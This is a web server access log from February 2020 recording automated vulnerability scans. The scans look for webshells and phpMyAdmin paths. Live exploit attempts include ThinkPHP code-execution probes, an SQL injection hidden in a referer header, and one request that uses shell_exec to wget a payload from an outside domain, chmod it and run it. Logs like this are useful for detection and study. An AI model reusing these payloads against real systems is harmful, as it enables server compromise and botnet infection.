43.226.156.55 - - [23/Feb/2020:06:15:02 +0100] "GET /cmd.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
43.226.156.55 - - [23/Feb/2020:06:15:03 +0100] "GET /shell.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
43.226.156.55 - - [23/Feb/2020:06:15:04 +0100] "GET /appserv.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
43.226.156.55 - - [23/Feb/2020:06:15:04 +0100] "GET /scripts/setup.php HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
43.226.156.55 - - [23/Feb/2020:06:15:04 +0100] "GET /phpmyadmin/scripts/setup.php HTTP/1.1" 404 333 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
43.226.156.55 - - [23/Feb/2020:06:15:05 +0100] "GET /phpMyAdmin/scripts/setup.php HTTP/1.1" 404 333 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
43.226.156.55 - - [23/Feb/2020:06:15:05 +0100] "GET /scripts/db___.init.php HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
43.226.156.55 - - [23/Feb/2020:06:15:05 +0100] "GET /phpmyadmin/scripts/db___.init.php HTTP/1.1" 404 338 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
43.226.156.55 - - [23/Feb/2020:06:15:06 +0100] "GET /phpMyAdmin/scripts/db___.init.php HTTP/1.1" 404 338 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
43.226.156.55 - - [23/Feb/2020:06:15:06 +0100] "GET /pma/scripts/setup.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
43.226.156.55 - - [23/Feb/2020:06:15:06 +0100] "GET /PMA/scripts/setup.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
43.226.156.55 - - [23/Feb/2020:06:15:07 +0100] "GET /myadmin/scripts/setup.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
43.226.156.55 - - [23/Feb/2020:06:15:08 +0100] "GET /MyAdmin/scripts/setup.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
43.226.156.55 - - [23/Feb/2020:06:15:09 +0100] "GET /pma/scripts/db___.init.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
43.226.156.55 - - [23/Feb/2020:06:15:09 +0100] "GET /PMA/scripts/db___.init.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
43.226.156.55 - - [23/Feb/2020:06:15:09 +0100] "GET /myadmin/scripts/db___.init.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
43.226.156.55 - - [23/Feb/2020:06:15:09 +0100] "GET /MyAdmin/scripts/db___.init.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
43.226.156.55 - - [23/Feb/2020:06:15:10 +0100] "GET /plugins/weathermap/editor.php HTTP/1.1" 404 334 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
43.226.156.55 - - [23/Feb/2020:06:15:10 +0100] "GET /cacti/plugins/weathermap/editor.php HTTP/1.1" 404 340 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
43.226.156.55 - - [23/Feb/2020:06:15:10 +0100] "GET /weathermap/editor.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
43.226.156.55 - - [23/Feb/2020:06:15:12 +0100] "GET /index.php?s=%2f%69%6e%64%65%78%2f%5c%74%68%69%6e%6b%5c%61%70%70%2f%69%6e%76%6f%6b%65%66%75%6e%63%74%69%6f%6e&function=%63%61%6c%6c%5f%75%73%65%72%5f%66%75%6e%63%5f%61%72%72%61%79&vars[0]=%6d%645&vars[1][]=%48%65%6c%6c%6f%54%68%69%6e%6b%50%48%50 HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
43.226.156.55 - - [23/Feb/2020:06:15:12 +0100] "GET /elrekt.php?s=%2f%69%6e%64%65%78%2f%5c%74%68%69%6e%6b%5c%61%70%70%2f%69%6e%76%6f%6b%65%66%75%6e%63%74%69%6f%6e&function=%63%61%6c%6c%5f%75%73%65%72%5f%66%75%6e%63%5f%61%72%72%61%79&vars[0]=%6d%645&vars[1][]=%48%65%6c%6c%6f%54%68%69%6e%6b%50%48%50 HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
43.226.156.55 - - [23/Feb/2020:06:15:12 +0100] "GET /App/?content=die(md5(HelloThinkPHP)) HTTP/1.1" 404 309 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
43.226.156.55 - - [23/Feb/2020:06:15:13 +0100] "GET /index.php/module/action/param1/${@die(md5(HelloThinkPHP))} HTTP/1.1" 404 363 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
43.226.156.55 - - [23/Feb/2020:06:15:13 +0100] "GET /index.php?s=/module/action/param1/${@die(md5(HelloThinkPHP))} HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
43.226.156.55 - - [23/Feb/2020:06:15:13 +0100] "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
43.226.156.55 - - [23/Feb/2020:06:15:13 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
43.226.156.55 - - [23/Feb/2020:06:15:14 +0100] "GET /joomla/ HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
43.226.156.55 - - [23/Feb/2020:06:15:14 +0100] "GET /Joomla/ HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
43.226.156.55 - - [23/Feb/2020:06:15:14 +0100] "GET /?a=echo%20-n%20HelloNginx%7Cmd5sum HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
43.226.156.55 - - [23/Feb/2020:06:15:14 +0100] "GET /d7.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
43.226.156.55 - - [23/Feb/2020:06:15:15 +0100] "GET /rxr.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
43.226.156.55 - - [23/Feb/2020:06:15:15 +0100] "GET /1x.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
43.226.156.55 - - [23/Feb/2020:06:15:15 +0100] "GET /home.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
43.226.156.55 - - [23/Feb/2020:06:15:23 +0100] "GET /undx.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
43.226.156.55 - - [23/Feb/2020:06:15:23 +0100] "GET /spider.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
43.226.156.55 - - [23/Feb/2020:06:15:23 +0100] "GET /payload.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
43.226.156.55 - - [23/Feb/2020:06:15:23 +0100] "GET /composers.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
43.226.156.55 - - [23/Feb/2020:06:15:27 +0100] "GET /izom.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
43.226.156.55 - - [23/Feb/2020:06:15:29 +0100] "GET /composer.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
43.226.156.55 - - [23/Feb/2020:06:15:29 +0100] "GET /hue2.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
43.226.156.55 - - [23/Feb/2020:06:15:29 +0100] "GET /Drupal.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
43.226.156.55 - - [23/Feb/2020:06:15:29 +0100] "GET /lang.php?f=1 HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
43.226.156.55 - - [23/Feb/2020:06:15:30 +0100] "GET /izom.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
43.226.156.55 - - [23/Feb/2020:06:15:33 +0100] "GET /payload.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
43.226.156.55 - - [23/Feb/2020:06:15:34 +0100] "GET /new_license.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
43.226.156.55 - - [23/Feb/2020:06:15:34 +0100] "GET /images/!.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
43.226.156.55 - - [23/Feb/2020:06:15:35 +0100] "GET /images/vuln.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
43.226.156.55 - - [23/Feb/2020:06:15:36 +0100] "GET /hd.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
43.226.156.55 - - [23/Feb/2020:06:15:36 +0100] "GET /images/up.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
43.226.156.55 - - [23/Feb/2020:06:15:37 +0100] "GET /images/attari.php HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
43.226.156.55 - - [23/Feb/2020:06:15:38 +0100] "GET /images/jsspwneed.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
43.226.156.55 - - [23/Feb/2020:06:15:39 +0100] "GET /images/stories/cmd.php HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
43.226.156.55 - - [23/Feb/2020:06:15:39 +0100] "GET /images/stories/filemga.php?ssp=RfVbHu HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
43.226.156.55 - - [23/Feb/2020:06:15:39 +0100] "GET /up.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
43.226.156.55 - - [23/Feb/2020:06:15:39 +0100] "GET /laravel.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
43.226.156.55 - - [23/Feb/2020:06:15:40 +0100] "GET /huoshan.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
43.226.156.55 - - [23/Feb/2020:06:15:40 +0100] "GET /yu.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
43.226.156.55 - - [23/Feb/2020:06:15:42 +0100] "GET /floaw.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
43.226.156.55 - - [23/Feb/2020:06:15:42 +0100] "GET /ftmabc.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
43.226.156.55 - - [23/Feb/2020:06:15:42 +0100] "GET /doudou.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
43.226.156.55 - - [23/Feb/2020:06:15:42 +0100] "GET /mjx.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
43.226.156.55 - - [23/Feb/2020:06:15:43 +0100] "GET /xiaoxia.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
43.226.156.55 - - [23/Feb/2020:06:15:43 +0100] "GET /yuyang.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
43.226.156.55 - - [23/Feb/2020:06:15:45 +0100] "GET /zz.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
43.226.156.55 - - [23/Feb/2020:06:15:45 +0100] "GET /coonig.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
43.226.156.55 - - [23/Feb/2020:06:15:45 +0100] "GET /ak.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
43.226.156.55 - - [23/Feb/2020:06:15:45 +0100] "GET /baidoubi.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
43.226.156.55 - - [23/Feb/2020:06:15:46 +0100] "GET /hhhhhh.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
43.226.156.55 - - [23/Feb/2020:06:15:46 +0100] "GET /meijianxue.php HTTP/1.1" 404 319 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
43.226.156.55 - - [23/Feb/2020:06:15:46 +0100] "GET /no1.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
43.226.156.55 - - [23/Feb/2020:06:15:46 +0100] "GET /python.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
43.226.156.55 - - [23/Feb/2020:06:15:47 +0100] "GET /woshimengmei.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
43.226.156.55 - - [23/Feb/2020:06:15:47 +0100] "GET /indea.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
43.226.156.55 - - [23/Feb/2020:06:15:48 +0100] "GET /taisui.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
43.226.156.55 - - [23/Feb/2020:06:15:48 +0100] "GET /xiaxia.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
43.226.156.55 - - [23/Feb/2020:06:15:48 +0100] "GET /kk.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
43.226.156.55 - - [23/Feb/2020:06:15:49 +0100] "GET /xsser.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
43.226.156.55 - - [23/Feb/2020:06:15:49 +0100] "GET /zzz.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
43.226.156.55 - - [23/Feb/2020:06:15:51 +0100] "GET /99.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
43.226.156.55 - - [23/Feb/2020:06:15:51 +0100] "GET /dp.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
43.226.156.55 - - [23/Feb/2020:06:15:51 +0100] "GET /hs.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
43.226.156.55 - - [23/Feb/2020:06:15:51 +0100] "GET /1ts.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
43.226.156.55 - - [23/Feb/2020:06:15:52 +0100] "GET /haiyan.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
43.226.156.55 - - [23/Feb/2020:06:15:52 +0100] "GET /phpdm.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
43.226.156.55 - - [23/Feb/2020:06:15:54 +0100] "GET /root.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
43.226.156.55 - - [23/Feb/2020:06:15:56 +0100] "GET /5678.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
43.226.156.55 - - [23/Feb/2020:06:16:00 +0100] "GET /root11.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
43.226.156.55 - - [23/Feb/2020:06:16:00 +0100] "GET /xiu.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
43.226.156.55 - - [23/Feb/2020:06:16:00 +0100] "POST /wuwu11.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
43.226.156.55 - - [23/Feb/2020:06:16:21 +0100] "POST /xw.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
43.226.156.55 - - [23/Feb/2020:06:16:46 +0100] "POST /9678.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
43.226.156.55 - - [23/Feb/2020:06:17:08 +0100] "POST /wc.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
43.226.156.55 - - [23/Feb/2020:06:17:30 +0100] "POST /xx.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
43.226.156.55 - - [23/Feb/2020:06:18:00 +0100] "POST /w.php HTTP/1.1" 404 310 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
43.226.156.55 - - [23/Feb/2020:06:18:24 +0100] "GET /%73%65%65%79%6F%6E/%68%74%6D%6C%6F%66%66%69%63%65%73%65%72%76%6C%65%74 HTTP/1.1" 404 329 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
43.226.156.55 - - [23/Feb/2020:06:18:25 +0100] "GET /secure/ContactAdministrators!default.jspa HTTP/1.1" 404 346 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
43.226.156.55 - - [23/Feb/2020:06:18:25 +0100] "GET /weaver/bsh.servlet.BshServlet HTTP/1.1" 404 334 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
43.226.156.55 - - [23/Feb/2020:06:18:25 +0100] "GET /solr/ HTTP/1.1" 404 310 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
43.226.156.55 - - [23/Feb/2020:06:18:25 +0100] "POST /index.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36"
43.226.156.55 - - [23/Feb/2020:06:18:47 +0100] "POST /%75%73%65%72/%72%65%67%69%73%74%65%72?%65%6c%65%6d%65%6e%74%5f%70%61%72%65%6e%74%73=%74%69%6d%65%7a%6f%6e%65%2f%74%69%6d%65%7a%6f%6e%65%2f%23%76%61%6c%75%65&%61%6a%61%78%5f%66%6f%72%6d=1&%5f%77%72%61%70%70%65%72%5f%66%6f%72%6d%61%74=%64%72%75%70%61%6c%5f%61%6a%61%78 HTTP/1.1" 404 318 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:28.0) Gecko/20100101 Firefox/28.0"
43.226.156.55 - - [23/Feb/2020:06:19:09 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
212.85.91.19 - - [23/Feb/2020:06:19:20 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
43.226.156.55 - - [23/Feb/2020:06:19:35 +0100] "GET /Joomla/ HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
43.226.156.55 - - [23/Feb/2020:06:19:56 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
43.226.156.55 - - [23/Feb/2020:06:20:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
43.226.156.55 - - [23/Feb/2020:06:20:48 +0100] "GET /joomla/ HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
43.226.156.55 - - [23/Feb/2020:06:21:14 +0100] "POST /%75%73%65%72%2e%70%68%70 HTTP/1.1" 404 313 "554fcae493e564ee0dc75bdf2ebf94caads|a:3:{s:2:\"id\";s:3:\"'/*\";s:3:\"num\";s:141:\"*/ union select 1,0x272F2A,3,4,5,6,7,8,0x7b247b24524345275d3b6469652f2a2a2f286d6435284449524543544f52595f534550415241544f5229293b2f2f7d7d,0--\";s:4:\"name\";s:3:\"ads\";}554fcae493e564ee0dc75bdf2ebf94ca" "Mozilla/5.0 (X11; Linux x86_64; rv:28.0) Gecko/20100101 Firefox/28.0"
43.226.156.55 - - [23/Feb/2020:06:21:14 +0100] "GET /index.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
43.226.156.55 - - [23/Feb/2020:06:21:14 +0100] "GET /phpmyadmin/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
43.226.156.55 - - [23/Feb/2020:06:21:14 +0100] "GET /phpMyAdmin/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
43.226.156.55 - - [23/Feb/2020:06:21:15 +0100] "GET /pmd/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
43.226.156.55 - - [23/Feb/2020:06:21:15 +0100] "GET /pma/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
43.226.156.55 - - [23/Feb/2020:06:21:15 +0100] "GET /PMA/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
43.226.156.55 - - [23/Feb/2020:06:21:15 +0100] "GET /PMA2/index.php HTTP/1.1" 404 319 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
43.226.156.55 - - [23/Feb/2020:06:21:16 +0100] "GET /pmamy/index.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
43.226.156.55 - - [23/Feb/2020:06:21:16 +0100] "GET /pmamy2/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
43.226.156.55 - - [23/Feb/2020:06:21:17 +0100] "GET /mysql/index.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
43.226.156.55 - - [23/Feb/2020:06:21:19 +0100] "GET /admin/index.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
43.226.156.55 - - [23/Feb/2020:06:21:19 +0100] "GET /db/index.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
